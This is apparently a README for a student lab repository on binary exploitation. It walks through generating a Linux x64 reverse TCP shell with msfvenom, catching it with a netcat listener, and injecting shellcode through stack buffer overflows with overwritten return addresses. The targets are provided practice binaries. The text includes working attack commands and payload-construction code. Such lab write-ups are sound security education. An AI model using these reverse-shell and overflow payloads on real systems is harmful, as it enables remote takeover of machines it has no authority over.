/Exploits

Exploiting stacks, user programs using msfvenom and other tools

Primary LanguagePython

Shellcode to exploit programs

Task1: TCP reverse shell

Step 1: Generating shellcode binary using msfvenom

  1. Find suitable payload using msfvenom -l payloads | grep linux | grep reverse_tcp . Here I am using linux 64 bit machine and I want shellcode for victim shell access using tcp connection. So my suitable payload would be linux/x64/shell_reverse_tcp

  2. This command below creates shellcode in elf format and saves in a file called shell. -b option allows to remove unwanted null characters,tabs and newlines etc. msfvenom -p linux/x64/shell_reverse_tcp LHOST=<AttackerIP Address> LPORT=<Attacker Port to Connect On> -f elf -o shell -b "\x00\x0a\x0d\x20"

    Sample Output:

    Screenshot from 2022-03-17 23-10-42.png

đź’ˇ In my opinion put LPORT value more than 2000, just ensuring it is not used by any other programs.

Testing its working

Running standlone shellcode binary and gaining access. Give permissions to be executable using chmod a+x shell

  1. run ./shell2 on victim machine
  2. run nc -lvp 4444 on attacker machine

If everything works fine output is as shown below , we can check victim shell folder contents using ls

Running on artix and Ubuntu as attacker machines,

Screenshot from 2022-03-17 22-43-49.png

Screenshot from 2022-03-18 18-04-42.png

We could see , artix we cant have two terminals at once, so for better visualisation , shifted to Ubuntu as attacking machine but same can be replicated in artix if GUI is enabled.

Step 2: Generating payload to inject

  1. This command below creates shellcode in the language you want(here is python) saves in a file called run_shellcode.py. msfvenom -p linux/x64/shell_reverse_tcp LHOST=<AttackerIP Address> LPORT=<Attacker Port to Connect On> -f python -o run_shellcode.py -b "\x00\x0a\x0d\x20"
  2. Finding Buffer size, use gdb ./simple_echo_server
    1. disass main : to know function calls , I found start_user_thread has buffer allocation and read syscall.

    2. break *start_user_thread: function where buffer is stored

      Screenshot from 2022-03-18 18-35-02.png

      Here we can see 0x400 set aside for buffer.

    3. Other method to find buffer size p/d <rbp_address> - <rsp_address> : gives buffersize+16(as each rsp,rbp takes 8 bytes each) Find rsp and rbp using i r

      Screenshot from 2022-03-17 22-55-54.png

Step 3: Injecting the payload

  1. Things to note for this victim program:

    1. start_user_thread uses call instruction not jump (push return address and return value)
    2. stack grows downwards (higher address up and lower address below),
    3. Our buffer grows upwards.
  2. Since we got the buffer size , find the length of the shellcode to add padding and rip address to overflow the buffer.

    Screenshot from 2022-03-18 19-14-39.png

    RIP = struct.pack("Q", 0x7fffffffe260-0x200) payload= padding + buf + nops + RIP

    • Major work is done by these two lines of code. Firstly payload, it fills buffer till the edge of returning(so padding ,nops and shellcode sum is 1032).
    • Then next instruction(i.e RIP in our code) replaces return address with the address we want to point it. RIP has $rbp value with approximately the size of buffer subtracted.
    • The RIP which we have overwrriten basically points to a location down in the buffer.Since out buffer grows upwards we need it to point somewhere in between the buffer so that after few NOPs it reaches our shellcode.

Expected Results

Without gdb run these commands on attacker machine

  • nc <Victim IP address> <Victim Port Number> < <input string file>

    Screenshot from 2022-03-18 18-57-21.png

  • nc -l -v <Attacker IP address> <Attacker Port Number>

    Screenshot from 2022-03-18 18-57-07.png

With gdb,to see if anything goes wrong.

Screenshot from 2022-03-18 18-53-29.png

Resources :

https://infosecwriteups.com/expdev-reverse-tcp-shell-227e94d1d6ee

https://medium.com/@PenTest_duck/offensive-msfvenom-from-generating-shellcode-to-creating-trojans-4be10179bb86

https://johndcyber.com/how-to-create-a-reverse-tcp-shell-windows-executable-using-metasploit-56d049007047 https://samsclass.info/127/proj/p4-lbuf-shell.htm

https://zerosum0x0.blogspot.com/2014/12/after-i-finished-micro-optimizing-my.html

https://resources.infosecinstitute.com/topic/stack-based-buffer-overflow-in-win-32-platform-part-5-writing-reverse-tcp-exploit/

https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit#step-2-copy-the-executable-payload-to-box-b

Task2: Stack based Buffer overflow

Related files

  1. run_shellcode.c → c code to run shellcode generated by the assembly code through C program
  2. exploit.py → Python script to generate payload to inject in the victim stack
  3. shell.asm → assembly file to print “Finally Hacked”
  4. Makefile → To run shell.asm and run_shellcode.c
  5. victim-exec-stack → The stack to exploit

Step 1: Preparing the shellcode

This is a basic assembly program to print “Finally Hacked”. You can use any program as per your convenience but make sure it doesn't have null characters as the stack always places a null character to end the buffer, so it would stop your program before completion itself.

nasm -felf64 shell.asm && ld shell.o -o shell

for i in $(objdump -d shell |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo

Paste the above output in the exploit script you will create.

Step 2: Finding buffer size and start address

Download the victim stack and then give yourself execute permissions using chmod +x

  1. Open gdb

    1. gdb ./victim-exec-stack
  2. Add a breakpoint in main and just before exiting the code using these commands in order

    1. break main
    2. run
    3. disass main
    4. break *<leaveq>
    5. c

    Screenshot from 2022-03-09 11-37-10.png

  3. Now find the start of the buffer using x/80x $rsp after the first breakpoint.

    The first address (in blue color) is the required address where we need to inject the shellcode

    Screenshot from 2022-03-09 11-45-31.png

    Here to verify the assumed stack address is correct or not, I have checked the first 80 bytes of rsp after the first breakpoint to see the dummy payload(52 A’s) we are sending is pointing to the assumed stack address or not.

    We can clearly see 0x41 is the hex value of A is0x7fffffffdd70

  4. Now find rip using info frame

    Screenshot from 2022-03-09 12-16-29.png

    We can see the value of RIP in the saved registers. Once we subtract the base address which we got just before this with the RIP value, we get the buffer size. Hence the size of the buffer is 72.

Step 4: Preparing payload code

Open any text editor and then send a string having shellcode in it as shown below.

Screenshot from 2022-03-09 12-26-22.png

Major work is done by these two lines of code only

RIP = struct.pack("Q", (0x7fffffffdd70 +72)+8) payload = "\x90"*72 + RIP + "\x90"*12 + shellcode

Payload, we sent 72 NOPs to overflow the buffer address, then RIP will point to the base of the stack, then we overwrite it again by a few NOPs, and then the shellcode will be executed and will be exiting the code using the shellcode written by us.

RIP is calculated by adding the base address of stack + size of the buffer and the RIP instruction itself which is 8bytes so this will directly point to the shellcode now.

The above script would write the payload into a file called output. Its contents would like shown below

Screenshot from 2022-03-09 12-26-44.png

Step 5: Injecting shellcode in the stack

Run the commands in order

run < output

c

x/120x $rsp

c

Screenshot from 2022-03-09 11-57-06.png

We sent the buffer to be NOPs til it is overflowed. As mentioned above we overwrite it again with a few NOPs and then the shellcode will be written. Thus, the contents of the buffer at the first breakpoint would be NOPs and then the second time would be the contents of our shellcode.

Thus, we can see “Finally Hacked” being printed and it exited normally through our shellcode.

Other points to be noted

  1. All the steps mentioned were done in GDB so that the address of the stack pointer remains the same. We can perform step 5 outside the gdb if the stack randomization is turned off.

  2. The above method is not the only method, other method is when we don't overflow the buffer with NOPs but with our shellcode and some padding. Then we send the payload as padding with shellcode followed with some Nops which has a total size equal to the buffer size so that the next instruction pointed is directed to the base of the stack again. So we see the contents of our shellcode twice.

    RIP = struct.pack("Q", 0x7fffffffdd70) padding = "\x90" * 8 nops= "\x90" * 12 payload= padding + shellcode + nops + RIP

    Screenshot from 2022-03-09 12-57-57.png

  3. Make file consists of steps to compile and run shellcode and assembly files. To run a python script and object dump along with it uncomment the code as required.

References:

https://www.tallan.com/blog/2019/04/04/exploring-buffer-overflows-in-c-part-two-the-exploit/

https://0xrick.github.io/binary-exploitation/bof5/

https://www.youtube.com/watch?v=_nwkiTxtDbk&t=30s

https://www.youtube.com/watch?v=oS2O75H57qU

https://samsclass.info/127/proj/p3-lbuf1.htm

https://dhavalkapil.com/blogs/Shellcode-Injection/

https://in-addr.nl/mirror/www.madirish.net/142.html

https://www.rapid7.com/blog/post/2019/02/19/stack-based-buffer-overflow-attacks-what-you-need-to-know/

http://security.cs.pub.ro/hexcellents/wiki/kb/exploiting/shellcode-walkthrough

https://www.tenouk.com/Bufferoverflowc/Bufferoverflow4.html

https://resources.infosecinstitute.com/topic/how-to-exploit-buffer-overflow/